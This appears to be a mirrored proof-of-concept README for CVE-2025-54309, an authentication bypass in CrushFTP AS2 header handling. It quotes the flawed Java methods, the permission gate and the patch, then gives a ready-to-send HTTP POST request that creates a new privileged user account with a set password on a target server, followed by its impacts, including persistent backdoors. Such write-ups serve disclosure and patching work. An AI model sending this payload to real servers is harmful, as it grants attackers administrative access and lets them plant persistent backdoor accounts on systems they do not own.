CVE-2025-54309 PoC — CrushFTP 安全漏洞

Source

Associated Vulnerability

Description

CrushFTP AS2 Authentication Bypass

Readme

***

# CrushFTP AS2 Authentication Bypass – CVE-2025-54309
> Author: [kali](https://github.com/blueisbeautiful)
***

## Vulnerability Overview

A critical authentication bypass exists in CrushFTP versions 10.x prior to 10.8.5 and 11.x prior to 11.3.4_23. The vulnerability derives from a logic flaw in the HTTP session management code, specifically in `ServerSessionHTTP.java`, method `loginCheckHeaderAuth()` near line 2285.

The flaw allows authentication to be bypassed when an HTTP request includes an `AS2-To` header that is empty or missing the required `-_-` delimiter. When this occurs and the configuration disables `blank_passwords` (which is the default), the method returns prematurely, skipping any authentication process.

***

## Vulnerable Code Section

```java
if (this.headerLookup.getProperty("as2-to".toUpperCase()).trim().indexOf("-_-") < 0 
    && !ServerStatus.BG("blank_passwords")) {
    return;  // Authentication bypass - returns without validation
}
```

Explanation: If the `AS2-To` header does not contain the `-_-` delimiter and blank passwords are disabled, the code returns immediately without validating any credentials. This allows the request to proceed as if it were authenticated.

***

## Method Location

- File: `crushftp/server/ServerSessionHTTP.java`
- Method: `loginCheckHeaderAuth()`
- Approximate line: 2285

***

## Conditions for Exploit

1. The HTTP request contains a header named `AS2-To`.
2. The `AS2-To` header's value does not include the `-_-` delimiter.
3. The boolean config `blank_passwords` is disabled (`false` by default).

If all conditions are met, the authentication check is skipped.

***

## Full Exploitation Flow

```text
1. Client sends an HTTP request with the header:
   AS2-To: <value_without_-_-_delimiter_or_empty>
2. The method loginCheckHeaderAuth() is called.
3. The code detects the presence of AS2-To header.
4. It checks if the header value contains "-_-".
5. If not found, and blank_passwords is false (default), method returns immediately.
6. No authentication validation is performed.
7. Client gains authenticated session state.
8. Privileged methods such as user creation are accessible.
```

***

## Privilege Escalation Vector: setUserItem()

File: `crushftp/server/AdminControls.java`  
Method: `setUserItem()` (around line 2513)

```java
public static String setUserItem(Properties request, SessionCrush thisSession, String site) {
    // ... validation code ...

    // FLAW: Does not verify if user was authenticated via AS2
    if (request.getProperty("data_action").equals("new")) {
        if (new_user.getProperty("password").equals("SHA3:XXXXXXXXXXXXXXXXXXXX")) {
            new_user.put("password", "");
        }
        crushftp.handlers.Common.updateObjectLogOnly("new ", "users/" + request.getProperty("serverGroup") + "/" + username, log_summary);
        
        // User is created without proper authentication
        UserTools.writeUser(request.getProperty("serverGroup"), username, new_user, true, true, request);
    }

    // ... rest of the method ...
}
```

This method creates or updates users without confirming authentication was successfully performed via AS2 headers, enabling untrusted clients to add administrative users.

***

## Permission Check Bypass

In `AdminControls.java` (approx. line 3666):

```java
if (command.equalsIgnoreCase("setUserItem") && site.indexOf("(USER_EDIT)") >= 0) {
    return true;  // Grants permission assuming prior authentication
}
```

Because authentication is bypassed, this permission gate is rendered ineffective.

***

## Simple AS2 Detection

```java
public boolean isAS2() {
    int x = 0;
    while (x < this.headers.size()) {
        String s = this.headers.elementAt(x).toString();
        if (s.toLowerCase().trim().startsWith("as2-to")) {
            return true; // Detect AS2 solely by header presence
        }
        ++x;
    }
    return false;
}
```

The current AS2 detection is shallow and does not verify content or credentials validity.

***

## Proof-of-Concept Exploit Payload

```http
POST /WebInterface/function/ HTTP/1.1
Host: target.com
AS2-To: 
AS2-From: 
Content-Type: application/x-www-form-urlencoded

command=setUserItem&username=kali&user=%3Cuser%3E%3Cusername%3Ekali%3C%2Fusername%3E%3Cpassword%3Epwned123%3C%2Fpassword%3E%3Cenabled%3Etrue%3C%2Fenabled%3E%3C%2Fuser%3E&data_action=new
```

Stepwise:

1. The `AS2-To` header is empty resulting in `.indexOf("-_-") < 0` evaluating true.
2. The config `blank_passwords` normally is false, so condition `!ServerStatus.BG("blank_passwords")` is true.
3. Method returns early, skipping authentication.
4. User creation function is called, adding a privileged user `kali` with password `pwned123`.

***

## Bypassed Protections

- **DMZ Password Requirement:** Normally requires password presence if no `Authorization` or `AS2-To` headers; bypassed if `AS2-To` exists regardless of content.
- **Rate Limiting:** Not effective due to no authentication.
- **IP Banning:** Not triggered since initial request is accepted.

***

## Impact

- Complete system compromise through administrative user creation.
- Persistent backdoors via new users.
- Full file system read/write access.
- Configuration manipulation.

***

## Fix Delivered

Patched code replaces early return with explicit deauthentication call:

```java
if (this.headerLookup.getProperty("as2-to".toUpperCase()).trim().indexOf("-_-") < 0 
    && !ServerStatus.BG("blank_passwords")) {
    this.DEAUTH();  // Forces deauthentication
    return;
}
```

This ensures invalid or incomplete `AS2-To` headers cannot grant access.

***

## Affected Versions

- CrushFTP 10.x before 10.8.5
- CrushFTP 11.x before 11.3.4_23

***

This proof of concept fully demonstrates the flaw, exploitation method, and impact with source code context to provide a comprehensive understanding of CVE-2025-54309. Patch updates must be applied without delay to prevent unauthorized system access.

File Snapshot

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└── [5.8K]  README.md

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